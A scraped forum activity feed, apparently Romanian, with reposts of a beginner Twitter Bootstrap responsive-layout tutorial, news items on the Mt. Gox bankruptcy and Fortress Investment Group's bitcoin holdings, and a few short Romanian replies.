unlike the other version where you have one normal CSS file and a separate CSS file for media queries and a bunch of JS files which is just messy. So if you hop on to the Customize Bootstrap page, you’ll see that you can turn off/on things like JS plug-ins, CSS styles, UI components, responsive queries, define fonts, colors and so on. For this article you can just leave everything by default and click on the big “Download Customized Version” button. After you download and extract the package you will get the following: - bootstrap/ -- css/ --- bootstrap.css (safe to delete) --- bootstrap.min.css -- js/ --- bootstrap.js (safe to delete) --- bootstrap.min.js -- img/ --- glyphicons-halflings.png --- glyphicons-halflings-white.png First thing you can do is delete the non-minified versions of the CSS & JS files (bootstrap.css, bootstrap.js) because i don’t think you’ll be needing to fix or edit any of the bootstrap code but also the minified versions are a lot smaller and production ready. Next up it’s time to include them into your project. So let’s imagine we have a blank HTML file that goes something like this: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> title>No Boostrap in this project</title> </head> <body> <p>Hey, i wanna be responsive too </p> </body> </html> All you need to do to is reference the CSS file and JS file and you are bootstrapped. So for an example: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>With Bootstrap</title> <link rel="stylesheet" href="css/bootstrap.min.css"> </head> <body> <p>Hello Bootstrap!</p> <script src="//ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script> <script src="js/bootstrap.min.js"></script> </body> </html> Note: Now remember you don’t have to include any JS files for Bootstrap to function, you’ll get all the responsive features, grid and CSS styles just from the CSS file but for some parts of the framework like alerts, tabs and so on the JS files are needed. Also don’t forget to include jQuery if you’ll be using Bootstraps JS plugins. Note 2: I always put all my JS files at the bottom of my HTML because they don’t block page rendering and CSS loading time. This is something i do because I tend to follow the ySlow and Google PageSpeed rules for fast loading websites and page optimization. If you are new to this be sure to check the links above and read about it because this is something you should already be doing. OK now that we’ve included Bootstrap in our project we can start using all the magic that comes with it. Bootstrap Basics With Bootstrap you get a 12 column grid with two options: fluid - if you need your app to be 100% wide and use up all the width of the screen you should choose this option fixed - if you're creating a standard website you probably won't be needing all 100% of the screen so you chose the 940px option Note: If you go with a fixed layout remember this: by default Bootstrap has a media query for "large desktops" so if your screen is more than 1200px in resolution the 940px grid becomes 1170px wide. You can turn this off in the customization section I mentioned earlier and just have the 940px grid be the default one. I usually leave it in because things look a lot smaller if you have a 27" iMac. So let’s say we want to use the fixed layout to create 3 boxes on our homepage and we’d like them to float next to each other. If you were not using Bootstrap you’d have to write some CSS for you content container, each box, add floats, clear floats, padding, margins...ugh just see the magic of Bootstrap: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Getting started with Bootstrap</title> <link rel="stylesheet" href="http://flip.hr/css/bootstrap.min.css"> </head> <body> <div class="container"> <div class="hero-unit"> <h1>Awesome responsive layout</h1> <p>Hello guys i am a ".hero-unit" and you can use me if you wanna say something important.</p> <p><a class="btn btn-primary btn-large">Super important »</a></p> </div><!-- .hero-unit --> <div class="row"> <div class="span4"> <h2>Box Number 1</h2> <p>Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui. </p> <p><a class="btn" href="#">Click meeee »</a></p> </div><!-- .span4 --> <div class="span4"> <h2>Box Number 2</h2> <p>Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui. </p> <p><a class="btn" href="#">Click meeee »</a></p> </div><!-- .span4 --> <div class="span4"> <h2>Box Number 3</h2> <p>Donec id elit non mi porta gravida at eget metus. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. Etiam porta sem malesuada magna mollis euismod. Donec sed odio dui. </p> <p><a class="btn" href="#">Click meeee »</a></p> </div><!-- .span4 --> </div><!-- .row --> </div><!-- .container --> </body> </html> That’s it! We have 3 boxes with some nice default styling and as a bonus we added some content in front of the boxes to make it more sexy. Best part, everything is responsive, just try to resize your browser. (This is the point where you stare in the screen with a tear in your eye) Let’s break it down a bit: < div class="container" >< /div > - this one is a must have and it serves as a wrapper for all your page content. The most amazing thing is if you want to use a fluid layout just add container-fluid instead of container and that’s it. < div class="row" >< /div > - another must have for creating rows is a column wrapper that takes care of margins, padding and floating clears. Again if you are using a fluid layout just replace row with row-fluid and you're good to go. < div class="span4" >< /div > - a DIV with class span* is basically a column and in this case we want to have 3 boxes in one row so if we do simple math 12/3=4 and you get span4. < div class="hero-unit" >< /div > - this is just another component of Bootstrap we added to make this sample more cool. As you can see with only 3 CSS classes you already know the basics. The only thing you will be changing are .span classes and they can go from 1 to 12 depending on how wide you want your box/element to be. So a DIV with a “span12” class would be 1170px wide on large desktops, 940px wide on laptops, and smaller for tablets or phones. For a more complicated example check out the Bootstrap examples. With only this you can already create your responsive layout in a matter of minutes but it doesn’t stop there, if you dig into Bootstrap docs you’ll see there are UI components like: navbars, tabs, accordions, dropdowns, buttons and so much more. Be sure to check out the Bootstrap Components page for all the greatness. Another good thing about Bootstrap is that you can use a bunch of standardized and cool JS plugins like modals, tabs, accordions, sliders which work great with the default Bootstrap style but are also responsive and fully customizable. Extending Bootstrap Bootstrap by itself comes packed with most of the stuff a regular front-end developer would need, especially a beginner but for those more advanced guys or pros here are a few plugins or hacks that made my life easier: jQuery UI Bootstrap Theme This is something a lot of front-end developers use when building modern and interactive designer so a suitable jQuery UI theme is a must have. I have tested this myself and it really works well and accompanies the Bootstrap design as it should. Bootstrap Colorpicker Another great plugin for Bootstrap to handle color picking in an awesome way. Fbootstrapp Fbootstrapp is a toolkit designed to kickstart development of facebook iframe apps in both relevant sizes. It includes base CSS and HTML for typography, forms, buttons, tables, grids, navigation, and more, styled in the typical facebook look and feel. Forms inside Bootstrap Dropdowns This is more of a hack but it really comes handy if you wanna have login forms in those simple to use Bootstrap Dropdown menus. Font Awesome If you are more of an icon guy when building UI elements then this custom font that is made of icons is gonna make you smile. Over 70 icons made especially for bootstrap in one CSS file BootBox Bootbox.js is a small JavaScript library which allows you to create programmatic dialog boxes using Twitter's Bootstrap modals. Going crazy with Bootstrap So you're maybe thinking: “This is all cool but Bootstrap has a too generic design and i just don’t see it working with my super custom and awesome designs”. Stop right there and let me tell you that you are wrong. You can use Bootstrap with any design and in any case. I had clients approach me with existing code and CSS but no responsive layout and in a matter of a day or two I managed to turn their website into a responsive one. A great example is my company's portfolio over at flip.hr. When you visit the site most of you would never even think that this is built on Bootstrap because the design is so customized and different but yet again everything was done on top of Bootstrap. But indeed it is, and I’ll name a few of components we used: navbars, hero units, thumbnails, buttons, modals, base styles and so much more. We also knew we wanted to have a full screen experience on our website so we used Bootstrap’s fluid layout which saved us a lot of time so we could focus more on the design and UI itself. Another good thing about Bootstrap is that it’s very flexible and plays nice with almost everything. For an example on our website we included some more stuff like: layout centering, lazy loading of images, hardware acceleration for page transitions, custom modal loaders for Bootstrap, a lot of CSS3 transitions, transforms and effects. We also wrote some media queries of our own because we wanted things to look and feel the same on all devices but most of it still comes from the power of Bootstrap. This kind of a website would take us months to make and test on all devices and resolutions, this way we could focus more on the design, functionality and SEO stuff. Secrets of the PROs Adobe Edge Inspect Edge Inspect was just recently released and it enables you to preview and test designs on IOS and Android devices, oh and did I mention it all does that remotely This’ll save you a lot of time and help you produce better and faster responsive features. Viewport Resizer Another great new tool for testing your websites responsiveness. This is a browser based tool (bookmarklet to be exact) so no additional download or set up is required. just click and go. So basically there are a few approaches to responsive images that actually work. Most of the guys I know use Filament Group’s responsive images technique but adaptive images is also a good way just a bit of a different concept. So until the HTML5 spec gets some something better and native, read up on these three links: Responsive Images Adaptive Images Retina Images Misc So this is also something that might come in useful when working on responsive designs. The Fittext plugin is really cool but hopefully you won't have to use it often and the Responsive Slides plugin is the best one out there. Fittext Responsive Slides Bonus and More Resources HTML5 Boilerplate This is a great HTML5 template for all front-end developers. It’s basically a set of tips, hacks and best practices for front-end development. I use this in most of my projects, of course in time you will pick the parts you need but all in all a must have and a must read. Foundation framework This is something I managed to find out during the writing of this article. I have checked this out for a few minutes and it looks to be a possible alternative to Bootstrap. Foundation as they say is the most advanced responsive framework out there and it has a lot of the features that Bootstrap has with some added bonuses. Be sure to check this out also. Here are some other useful resources related to Twitter Bootstrap. Building Twitter Bootstrap Twitter Bootstrap 101: Introduction 20 Awesome Resources for Twitter Bootstrap Lovers 20+ Beautiful Resources That Complement Twitter Bootstrap Conclusion I hope I managed to introduce Bootstrap to you in a good way and that you would give it a try. Remember it will not make you a website if you don’t know anything but it will sure as hell help you a lot if you know something. Source: How to use Twitter Bootstrap to Create a Responsive Website Design
  18. Mt. Gox is officially filing for bankruptcy protection with an outstanding debt of ¥6.5bn ($63.6m), finally admitting openly that 750,000 of its customers’ bitcoins and 100,000 of the company’s own have been lost. The exchange’s lawyer announced the news during a conference at the Tokyo District Court late on Friday afternoon, Japan time. CEO Mark Karpeles, wearing a suit and tie, bowed deeply in the tradition of disgraced Japanese business leaders fronting the media. Karpelesbows2Subtitles read: “The 750,000 bitcoins we kept for users, (37,000 million yen), almost all gone.” The 850,000 BTC loss figure is higher than the 744,400 figure mentioned in the so-called “Crisis Strategy Draft” document leaked and released by Ryan Galt, aka The Two-Bit Idiot, earlier in the week. That same document also described fiat assets of $32.43m and liabilities of $55m. The assets include $5m “held by CoinLab” and another $5.5m “held by the DHS”. The Department of Homeland Security seized that amount from Mt. Gox’s US accounts in mid 2013, claiming it had not registered properly as a money transmission business. Nightmare week It’s been a nightmare week for Mt. Gox and its customers, with much of the situation’s true nature still mired in online speculation, rumor and conspiracy theories. The exact fate of all Mt. Gox customers’ bitcoins is still unclear: how such an amount came to be lost or stolen without anyone knowing or taking action, whether ‘transaction malleability’ was indeed behind it, or whether they were transferred to other addresses or lost to the bitcoin network altogether. CEO Karpeles resigned his position on the Bitcoin Foundation Board just four days ago, beginning a chain of events that culminated in today’s press event. Shortly after that, Mt. Gox’s entire Twitter history disappeared, the ‘crisis’ documents were leaked, and then the website went completely offline, taking with it most customer hopes of ever seeing their money again. The domain mtgox.com now features only a blank page with the Mt. Gox logo and two short statements, one of which reads “In light of recent news reports and the potential repercussions on MtGox’s operations and the market, a decision was taken to close all transactions for the time being in order to protect the site and our users. We will be closely monitoring the situation and will react accordingly.” The most recent, from 26th February, reassures everyone that Karpeles is still in Japan and “working very hard with the support of different parties to find a solution to our recent issues.” While no regulatory action is guaranteed in Japan, federal prosecutors in New York City have subpoenaed Mt. Gox and requested that it preserve documents that may be relevant. Protest ends, customers lament Kolin Burges, who triggered media interest around the world with his protest outside Mt. Gox’s office and confrontation with Karpeles nearly two weeks ago, took the opportunity to back up his signs and head back to London. Most customers have now resigned themselves to losing hundreds of thousands or even millions of dollars, including those who claim to have lost business startup capital, college funds or even entire life savings in the crash. Burges himself claimed to have lost around $300,000 in bitcoins. Source: Mt. Gox Files for Bankruptcy, Claims $63.6m Debt
  19. Fortress Investment Group purchased $20m worth of bitcoins last year, according to a recent filing with the SEC. Back in December it was rumoured that Fortress had plans to launch a bitcoin investment fund. The news was first reported by CNN, but it could not be confirmed until now. Fortress is said to be developing a new investment vehicle based on bitcoin which is expected to be an unlisted Exchange Traded Fund (ETF). The move appears to have been connected to San Francisco-based Pantera Capital. Pantera then registered an investment advisor entity called Pantera Bitcoin Advisors LLC and it filed the necessary paperwork with the Securities and Exchange Commission (SEC). $20m for bitcoins last year According to the 10-K filed with the SEC by Fortress, the investment group set aside $20m for the purchase of bitcoins in 2013. The $20m represents a balance sheet investment by Fortress, and no Fortress-managed funds were used in conjunction with the purchase. The filing was scrutinized by Gil Luria, who tweeted that Fortress may be the first publicly traded company to report substantial bitcoin holdings. As of 31st December, Fortress reported having $16,260,000 worth of bitcoins – listed as “other assets”. In addition, Fortress reported $3,702,000 of losses or unrealized gains on its bitcoin investments, but there is a bit of a caveat, as Fortress points out: Still, with a balance sheet of $2.6bn, the move represents a relatively small investment for the company that may be immaterial given its holdings. But, though the purchase may be exploratory, the price of bitcoin has dropped quite a bit since late 2013, so the $3.7m figure might be even lower now, provided Fortress is still holding on to the coins. It notably did not disclose the holdings in its third quarter filings. What’s the endgame? There has been quite a bit of interest in digital currencies from institutional investors. Several interesting reports have been published over the last week, including bullish reports from Wedbush Securities and PriceWaterhouseCoopers. The Winklevoss twins are also vying for a slice of the market through the Winklevoss Bitcoin Trust. The pair have recently filed a revised ETF with the SEC, but it is still unclear when the Winklevoss ETF will launch. Many of these developments have been overshadowed by the highly publicised collapse of Mt. Gox, DDoS attacks on major exchanges and the arrest of Charlie Shrem. However, if major institutional investors are serious about investing in bitcoin, a deflated price could be just what they need. Source: Fortress May be First Public Company to Own Millions of Dollars in Bitcoins, Discloses $20m Worth
  20. Cifre

    test

    Mata-i grasa pentru simplu motiv ca si pe mine ma cheama Mihai.
  21. Cifre

    RST

    Tin sa mentionez ca sunt din UK si am aceaisi problema.
  22. In ziar scrie ca au primit 19$miliarde. Bravo lor..
×
×
  • Create New...